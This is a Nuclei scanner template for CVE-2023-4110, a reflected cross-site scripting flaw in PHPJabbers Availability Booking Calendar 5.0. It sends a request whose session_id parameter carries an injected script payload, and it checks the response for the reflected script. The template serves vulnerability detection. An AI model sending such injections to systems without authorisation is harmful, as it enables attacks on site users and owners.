id: CVE-2023-4110

info:
  name: PHPJabbers Availability Booking Calendar 5.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability has been found in PHP Jabbers Availability Booking Calendar 5.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument session_id leads to cross site scripting. The attack can be launched remotely.
  reference:
    - http://packetstormsecurity.com/files/173926/PHPJabbers-Availability-Booking-Calendar-5.0-Cross-Site-Scripting.html
    - https://vuldb.com/?id.235957
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4110
    - https://vuldb.com/?ctiid.235957
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4110
    cwe-id: CWE-79
    epss-score: 0.00235
    epss-percentile: 0.61597
    cpe: cpe:2.3:a:phpjabbers:availability_booking_calendar:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: availability_booking_calendar
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Booking", "Arrival", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a00473045022100a6986aee0aad49624f73975acf4e666f7a041e1bce887ef498f33ae037ba3f3d02202a8b48e462a1829ea6b2be5de752f927a05073a4c7d30349e269d64385adaf3a:922c64590222798bb761d5b6d8e72950